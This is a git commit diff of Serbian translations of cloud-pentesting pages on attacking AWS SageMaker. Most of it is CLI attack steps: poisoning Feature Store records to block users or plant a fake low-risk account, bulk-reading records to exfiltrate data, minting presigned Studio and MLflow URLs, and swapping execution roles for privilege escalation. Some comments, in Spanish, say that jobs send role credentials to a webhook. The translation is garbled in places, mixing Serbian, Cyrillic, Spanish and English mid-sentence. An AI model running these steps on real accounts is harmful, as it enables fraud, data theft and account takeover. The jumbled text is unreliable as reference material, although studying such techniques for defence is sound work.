Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2025-10-17 15:54:36 +00:00
parent c95ae81665
commit 85a320e74e
4 changed files with 418 additions and 212 deletions

View File

@@ -1,50 +1,160 @@
# SageMaker Feature Store online store poisoning
Iskoristite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete žive vrednosti feature-a koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature vrednosti. Ovo ne zahteva pristup modelima ili endpoint-ima.
Iskoristite `sagemaker:PutRecord` na Feature Group sa omogućenim OnlineStore da prepišete aktivne vrednosti feature-ova koje koristi online inference. U kombinaciji sa `sagemaker:GetRecord`, napadač može pročitati osetljive feature-ove i izneti poverljive ML podatke. Ovo ne zahteva pristup modelima ili endpoint-ima, što ga čini direktnim napadom na sloj podataka.
## Zahtevi
- Dozvole: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava real-time inference)
- Cilj: Feature Group sa omogućenim OnlineStore (obično podržava inferencu u realnom vremenu)
- Složenost: **NISKO** - Jednostavne AWS CLI komande, nije potrebna manipulacija modelom
## Koraci
1) Izaberite ili napravite mali Online Feature Group za testiranje
### Prikupljanje informacija
1) Navesti Feature Groups sa omogućenim OnlineStore
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Opišite ciljnu Feature Group da biste razumeli njenu šemu
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Obratite pažnju na `RecordIdentifierFeatureName`, `EventTimeFeatureName`, i sve definicije feature-a. Oni su potrebni za sastavljanje validnih zapisa.
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
1) Pročitajte trenutni legitimni zapis
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Zatrovaj zapis malicioznim vrednostima koristeći inline `--record` parametar
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
```
3) Proverite poisoned data
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Uticaj**: ML modeli koji koriste ovu karakteristiku će sada videti `risk_score=0.99` za legitimnog korisnika, što može potencijalno blokirati njihove transakcije ili usluge.
### Scenarij napada 2: Malicious Data Injection (Create Fraudulent Records)
Ubaci potpuno nove zapise sa manipulisanim atributima kako bi zaobišao sigurnosne kontrole:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore
```
Proverite injection:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Uticaj**: Napadač kreira lažni identitet sa niskim skorom rizika (0.01) koji može da izvrši visokovredne prevarantske transakcije bez aktiviranja sistema za otkrivanje prevara.
### Scenarij napada 3: Eksfiltracija osetljivih podataka
Pročitajte više zapisa da biste izvukli poverljive karakteristike i profilisali ponašanje modela:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done
```
**Uticaj**: Poverljivi atributi (ocene rizika, obrasci transakcija, lični podaci) izloženi napadaču.
### Kreiranje test/demo Feature Group (opcioni)
Ako treba da kreirate test Feature Group:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=ht-fg-$ACC-$(date +%s)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"
echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi
```
2) Ubaci/prepiši online zapis (poison)
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
cat > /tmp/put.json << JSON
{
"FeatureGroupName": "$FG",
"Record": [
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
],
"TargetStores": ["OnlineStore"]
}
JSON
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
```
3) Pročitajte zapis da biste potvrdili manipulaciju
```bash
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
```
Očekivano: risk_score returns 0.99 (attacker-set), dokazujući sposobnost promene online features koje koriste models.
## Uticaj
- Real-time integrity attack: manipuliše features koje koriste production models bez diranja endpoints/models.
- Rizik poverljivosti: čitanje osetljivih features putem GetRecord iz OnlineStore.
echo "Feature Group ready: $FG"
```
## Detekcija
Nadgledajte CloudTrail za sumnjive obrasce:
- `PutRecord` događaji od neobičnih IAM principal-a ili IP adresa
- Visoka frekvencija `PutRecord` ili `GetRecord` poziva
- `PutRecord` sa anomalnim vrednostima feature-a (npr., risk_score izvan uobičajenog opsega)
- Masovne `GetRecord` operacije koje ukazuju na masovnu eksfiltraciju podataka
- Pristup van uobičajenog radnog vremena ili iz neočekivanih lokacija
Implementirajte detekciju anomalija:
- Validacija vrednosti feature-a (npr., risk_score mora biti 0.0-1.0)
- Analiza obrazaca zapisa (frekvencija, tajming, identitet izvora)
- Detekcija data drift-a (nenadane promene u distribucijama feature-a)
## References
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

View File

@@ -6,34 +6,117 @@
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
Počni kreiranje notebook-a sa priloženom IAM Role koja ima pristup:
Počnite kreiranje notebook-a sa IAM Role-om koji je prikačen za pristup:
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
Odgovor bi trebalo da sadrži polje `NotebookInstanceArn`, koje će sadržati ARN novo kreirane notebook instance. Zatim možemo da koristimo `create-presigned-notebook-instance-url` API да генеришемо URL који можемо да искористимо за приступ тој notebook инстанци када буде спремна:
Odgovor bi trebalo da sadrži polje `NotebookInstanceArn`, koje će sadržati ARN novokreirane instance notebooka. Zatim možemo koristiti API `create-presigned-notebook-instance-url` da generišemo URL koji možemo upotrebiti za pristup instanci notebooka kada bude spremna:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
Otvorite URL u pregledaču i kliknite na `Open JupyterLab` u gornjem desnom uglu, zatim skrolujte do kartice “Launcher” i u sekciji “Other” kliknite na dugme “Terminal”.
Navigate to the URL with the browser and click on `Open JupyterLab`` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button.
Sada je moguće pristupiti metapodacima kredencijala IAM Role.
Sada je moguće pristupiti metadata credentials IAM Role.
**Potencijalni uticaj:** Privesc na navedeni sagemaker service role.
**Potential Impact:** Privesc na navedenu sagemaker service role.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
Ako na njemu već rade Jupyter notebooks i možete ih navesti pomoću `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način). Možete **generisati URL za njih, pristupiti im, i ukrasti kredencijale kako je navedeno u prethodnoj tehnici**.
Ako se na njemu već pokreću Jupyter **notebooks** i možete ih listati pomoću `sagemaker:ListNotebookInstances` (ili ih otkriti na bilo koji drugi način), možete **generisati URL za njih, pristupiti im, i ukrasti credentials kao što je navedeno u prethodnoj tehnici**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**Potencijalni uticaj:** Privesc na priloženu sagemaker service role.
**Potencijalni uticaj:** Privesc na priloženu SageMaker service role.
## `sagemaker:CreatePresignedDomainUrl`
> [!WARNING]
> Ovaj napad radi samo na starim tradicionalnim SageMaker Studio domenima, ne na onima kreiranim od strane SageMaker Unified Studio. Domeni iz Unified Studio će vratiti grešku: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
Identitet sa dozvolom da pozove `sagemaker:CreatePresignedDomainUrl` na ciljnoj Studio `UserProfile` može izgenerisati login URL koji se autentifikuje direktno u SageMaker Studio kao taj profil. Ovo daje napadačevom browseru Studio sesiju koja nasleđuje `ExecutionRole` dozvole profila i potpuni pristup EFS-backed home direktorijumu i aplikacijama profila. Nije potreban `iam:PassRole` niti pristup konzoli.
**Zahtevi**:
- SageMaker Studio `Domain` i ciljni `UserProfile` unutar njega.
- Principal napadača treba `sagemaker:CreatePresignedDomainUrl` na ciljanom `UserProfile` (na nivou resursa) ili `*`.
Minimalan primer politike (ograničeno na jedan UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
**Koraci zloupotrebe**:
1) Enumeriši Studio Domain i UserProfiles koje možeš ciljati
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) Proverite da unified studio nije u upotrebi (napad funkcioniše samo na tradicionalnim SageMaker Studio domenima)
```bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
```
3) Generiši presigned URL (važi ~5 minuta podrazumevano)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
4) Otvorite vraćeni URL u pregledaču da biste se prijavili u Studio kao ciljani korisnik. U Jupyter terminalu unutar Studio proverite efektivni identitet ili exfiltrate the token:
```bash
aws sts get-caller-identity
```
Napomene:
- `--landing-uri` može biti izostavljen. Neke vrednosti (npr. `app:JupyterLab:/lab`) mogu biti odbijene u zavisnosti od Studio izdanja/verzije; podrazumevane vrednosti obično preusmeravaju na početnu stranu Studio, a zatim na Jupyter.
- Organizacione politike/VPC endpoint ograničenja i dalje mogu blokirati mrežni pristup; token minting ne zahteva prijavu u konzolu ili `iam:PassRole`.
**Potencijalni uticaj**: Lateralno kretanje i eskalacija privilegija preuzimanjem bilo kog Studio `UserProfile` čiji je ARN dozvoljen, nasleđujući njegov `ExecutionRole` i filesystem/apps.
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
Identitet koji ima dozvolu da pozove `sagemaker:CreatePresignedMlflowTrackingServerUrl` (i `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments` za kasniji pristup) za ciljani SageMaker MLflow Tracking Server može izgenerisati jednokratni presigned URL koji se autentifikuje direktno prema upravljanom MLflow UI za taj server. Ovo daje isti pristup koji bi legitimni korisnik imao na serveru (pregled/kreiranje eksperimenata i runs, i preuzimanje/otpremanje artefakata u serverov S3 artifact store).
**Zahtevi:**
- SageMaker MLflow Tracking Server u nalogu/regionu i njegovo ime.
- Napadački principal treba `sagemaker:CreatePresignedMlflowTrackingServerUrl` na ciljnom MLflow Tracking Server resursu (ili `*`).
**Koraci zloupotrebe**:
1) Enumeriši MLflow Tracking Server-e koje možeš ciljati i izaberi jedno ime
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) Generiši presigned MLflow UI URL (važeći kratak vremenski period)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
```
3) Otvorite vraćeni URL u pregledaču da pristupite MLflow UI kao autentifikovani korisnik za taj Tracking Server.
**Potential Impact:** Direktan pristup upravljanom MLflow UI za ciljani Tracking Server, što omogućava pregled i izmenu eksperimenata/runs i preuzimanje ili otpremanje artefakata smeštenih u S3 artifact store koji je konfigurisan na serveru, u okviru dozvola koje nameće konfiguracija servera.
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
Napadač sa tim dozvolama može naterati **SageMaker da izvrši processing job** sa SageMaker rolom pridruženom tom jobu. Ponovnim korišćenjem jednog od AWS Deep Learning Containers koji već uključuje Python (i izvršavajući job u istoj regiji kao i URI), možeš pokrenuti kod inline bez izgradnje sopstvenih slika:
Napadač sa tim dozvolama može naterati **SageMaker da izvrši processing job** sa SageMaker rolom prikačenom na njega. Ponovnim korišćenjem jednog od AWS Deep Learning Containers koji već uključuje Python (i pokretanjem job-a u istoj regiji kao i URI), napadač može pokrenuti inline kod bez izgradnje sopstvenih image-ova:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
@@ -49,11 +132,11 @@ aws sagemaker create-processing-job \
# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
```
**Potencijalni uticaj:** Privesc na specificiranu sagemaker service role.
**Potencijalni uticaj:** Privesc na navedeni sagemaker service role.
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
Napadač sa tim dozvolama može pokrenuti training job koji izvršava proizvoljan kod sa navedenim rolom. Koristeći zvanični SageMaker container i prepisivanjem entrypoint-a sa inline payload-om, ne moraš graditi sopstvene image-e:
Napadač sa tim dozvolama može pokrenuti training job koji izvršava proizvoljan kod koristeći navedeni role. Koristeći zvaničan SageMaker container i prepisujući entrypoint sa inline payload-om, ne morate praviti sopstvene images:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
```
**Potencijalni uticaj:** Privesc to the SageMaker service role specified.
**Mogući uticaj:** Privesc na navedenu SageMaker service role.
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Napadač sa tim dozvolama može pokrenuti HyperParameter Tuning Job koji izvršava kod pod kontrolom napadača pod navedenom ulogom. Script mode zahteva hostovanje payload-a u S3, ali svi koraci mogu se automatizovati iz CLI:
Napadač sa tim dozvolama može pokrenuti HyperParameter Tuning Job koji izvršava kod pod kontrolom napadača u okviru dodeljene role. Script mode zahteva hostovanje payload u S3, ali svi koraci mogu se automatizovati iz CLI:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
@@ -183,27 +266,29 @@ aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
```
Svaka obuka pokrenuta procesom ispisuje metriku i eksfiltrira kredencijale navedene ExecutionRole.
Svaki trening pokrenut od strane procesa štampa metriku i eksfiltrira kredencijale navedenog role.
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio role swap (no `iam:PassRole`)
Prioritet ExecutionRole:
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
- `UserProfile` prepisuje svaku vrednost. Ako profil definiše `ExecutionRole`, Studio će uvek koristiti tu rolu.
- `Space` se primenjuje samo kada profil nema sopstvenu rolu; inače prevladava rola profila.
- `Domain DefaultUserSettings` se koristi kao poslednja opcija kada ni profil ni `Space` ne definišu rolu.
Sa dozvolom za ažuriranje SageMaker Studio User Profile, kreiranje app, presigned URL-a za app i `iam:PassRole`, napadač može postaviti `ExecutionRole` na bilo koji IAM role koju SageMaker service principal može da preuzme. Nove Studio app-ove pokrenute za taj profil će raditi sa zamenjenom role, dajući interaktivna povišena ovlašćenja preko Jupyter terminala ili poslova pokrenutih iz Studio.
Ako napadač ima dozvole za ažuriranje SageMaker Studio User Profile (ili `Space`/`Domain`), može podesiti `ExecutionRole` na bilo koju IAM rolu koju SageMaker service principal može preuzeti. Za razliku od job-creation APIs, Studio profile update APIs ne zahtevaju `iam:PassRole`. Novi Studio apps pokrenuti za taj profil će raditi sa zamenjenom rolom, dajući interaktivne povišene privilegije preko Jupyter terminala ili jobs pokrenutih iz Studia.
> [!WARNING]
> Ovaj napad zahteva da u profilu ne postoje aplikacije, inače će kreiranje app-a propasti sa greškom sličnom: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> Ako postoji bilo koja app biće vam potrebna dozvola `sagemaker:DeleteApp` da ih prvo obrišete.
Koraci:
```bash
# 1) List Studio user profiles and pick a target
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 2) Update the Studio profile to use the new role (no iam:PassRole)
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
@@ -214,18 +299,59 @@ aws sagemaker describe-user-profile \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
aws sagemaker update-space \
--domain-id <DOMAIN_ID> \
--space-name <SPACE> \
--space-settings ExecutionRole=$ROLE_ARN
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
aws sagemaker describe-space \
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--space-name <SPACE> \
--query 'SpaceSettings.ExecutionRole' --output text
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Optionally, change the domain default so every profile inherits the new role
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
```
**Potential Impact**: Eskalacija privilegija na dozvole navedene SageMaker execution role za interaktivne Studio sesije.
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
Sa dozvolama za update SageMaker Studio Domain, kreiranje aplikacije, presigned URL-a za aplikaciju, i `iam:PassRole`, napadač može postaviti podrazumevanu domensku `ExecutionRole` na bilo koju IAM ulogu koju SageMaker service principal može preuzeti. Nove Studio aplikacije pokrenute za taj profil će raditi sa zamenjenom ulogom, obezbeđujući interaktivno povišene privilegije kroz Jupyter terminale ili job-ove pokrenute iz Studio.
> [!WARNING]
> Ovaj napad zahteva da u domeni nema aplikacija ili će kreiranje aplikacije biti neuspešno sa greškom: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
Koraci:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
@@ -234,24 +360,88 @@ aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
aws sagemaker create-app \
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-atk
--app-name <APP_NAME>
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
# aws sts get-caller-identity # should reflect the new ExecutionRole
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
```
**Mogući uticaj**: Eskalacija privilegija na dozvole navedene SageMaker execution role za interaktivne Studio sesije.
**Potencijalni uticaj**: Povišenje privilegija do dozvola specificirane SageMaker `ExecutionRole` za interaktivne Studio sesije.
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
Napadač koji ima dozvolu za kreiranje SageMaker Studio app za ciljanu UserProfile može pokrenuti JupyterServer app koji se izvršava sa `ExecutionRole` tog profila. Ovo omogućava interaktivni pristup dozvolama role preko Jupyter terminala ili poslova pokrenutih iz Studio.
Koraci:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
```
**Potencijalni uticaj**: Interaktivni pristup izvršnoj ulozi SageMaker-a koja je pridružena ciljanoj UserProfile.
## Reference
### `iam:GetUser`, `datazone:CreateUserProfile`
Napadač sa tim dozvolama može obezbediti IAM korisniku pristup Sagemaker Unified Studio Domain tako što će kreirati DataZone User Profile za tog korisnika.
```bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
```
URL Ujedinjenog domena ima sledeći format: `https://<domain-id>.sagemaker.<region>.on.aws/` (npr. `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
**Potencijalni uticaj:** Pristup Sagemaker Unified Studio Domain kao korisnik omogućava pristup svim resursima unutar Sagemaker domena, pa čak i eskalaciju privilegija na ulogu koju koriste notebook-i unutar Sagemaker Unified Studio Domain.
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

View File

@@ -4,29 +4,29 @@
## Pregled servisa
Amazon SageMaker je AWS-ova upravljana platforma za machine-learning koja povezuje notebooks, infrastrukturu za obuku, orkestraciju, registre i upravljane endpoints. Kompromitovanje SageMaker resursa obično omogućava:
Amazon SageMaker je AWS' managed machine-learning platforma koja povezuje notebooks, training infrastructure, orchestration, registries i managed endpoints. Kompromitovanje SageMaker resursa obično obezbeđuje:
- Dugotrajne IAM execution role sa širokim pristupom S3, ECR, Secrets Manager ili KMS.
- Pristup osetljivim dataset-ima pohranjenim u S3, EFS ili unutar feature store-ova.
- Mrežni footholds unutar VPC-ova (Studio apps, training jobs, endpoints).
- Visoko-privilegovane presigned URLs koje zaobilaze console authentication.
- Pristup osetljivim dataset-ima smeštenim u S3, EFS ili unutar feature store-ova.
- Mrežne footholds unutar VPC-a (Studio apps, training jobs, endpoints).
- Visokoprivilegovane presigned URLs koje zaobilaze console authentication.
Razumevanje kako je SageMaker sastavljen je ključno pre nego što pivot, persist, ili exfiltrate data.
Razumevanje kako je SageMaker sastavljen je ključno pre nego što pivot, persist, ili exfiltrate podatke.
## Osnovne komponente
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Svaki domain ima deljeni EFS file system i podrazumevanu execution role.
- **Notebook Instances**: Managed EC2 instances za standalone notebooks; koriste odvojene execution roles.
- **Training / Processing / Transform Jobs**: Ephemeral containers koji povlače kod iz ECR i podatke iz S3.
- **Pipelines & Experiments**: Orkestrirani workflows koji opisuju sve korake, inputs i outputs.
- **Models & Endpoints**: Packaged artefakti deploy-ovani za inference preko HTTPS endpoints.
- **Feature Store & Data Wrangler**: Upravljani servisi za pripremu podataka i upravljanje feature-ima.
- **Autopilot & JumpStart**: Automated ML i kurirana katalog modela.
- **MLflow Tracking Servers**: Managed MLflow UI/API sa presigned access tokens.
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Svaki domain ima deljeni EFS fajl sistem i podrazumevani execution role.
- **Notebook Instances**: Managed EC2 instance za standalone notebooks; koriste odvojene execution role.
- **Training / Processing / Transform Jobs**: Ephemeral kontejneri koji povlače kod iz ECR i podatke iz S3.
- **Pipelines & Experiments**: Orkestrirani workflows koji opisuju sve korake, input-e i output-e.
- **Models & Endpoints**: Paketirani artefakti deploy-ovani za inference preko HTTPS endpoints.
- **Feature Store & Data Wrangler**: Managed servisi za pripremu podataka i upravljanje feature-ovima.
- **Autopilot & JumpStart**: Automated ML i kurirani model catalogue.
- **MLflow Tracking Servers**: Managed MLflow UI/API sa presigned access token-ima.
Svaki resurs referencira execution role, S3 lokacije, container images i opcioni VPC/KMS konfiguraciju — zabeležite sve tokom enumeration.
Svaki resurs referencira execution role, S3 lokacije, container images i opcionu VPC/KMS konfiguraciju — capture sve njih tokom enumeration.
## Nalog i globalni metapodaci
## Račun i globalni metapodaci
```bash
